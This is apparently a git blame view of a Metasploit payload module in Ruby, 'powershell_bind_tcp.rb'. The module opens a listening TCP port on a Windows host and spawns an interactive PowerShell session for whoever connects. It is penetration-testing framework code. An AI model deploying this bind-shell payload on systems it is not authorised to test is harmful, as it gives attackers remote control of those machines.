Files
metasploit-gs/modules/payloads/singles/windows/powershell_bind_tcp.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

48 lines
1.2 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2021-01-28 10:35:25 +00:00
require 'rex/powershell'
2015-05-13 17:26:21 +01:00
###
#
# Extends the Exec payload to run a powershell command
#
###
2016-03-08 14:02:44 +01:00
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Windows::Exec
include Rex::Powershell::Command
2015-05-13 17:26:21 +01:00
include Msf::Payload::Windows::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
'Description' => 'Listen for a connection and spawn an interactive powershell session',
'Author' =>
[
'Ben Turner', # benpturner
'Dave Hardy' # davehardy20
],
'References' =>
[
2022-01-23 15:28:32 -05:00
['URL', 'https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit']
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::PowerShell,
))
end
#
# Override the exec command string
#
2018-07-19 17:01:40 -05:00
def powershell_command
2015-05-13 17:26:21 +01:00
generate_powershell_code("Bind")
end
end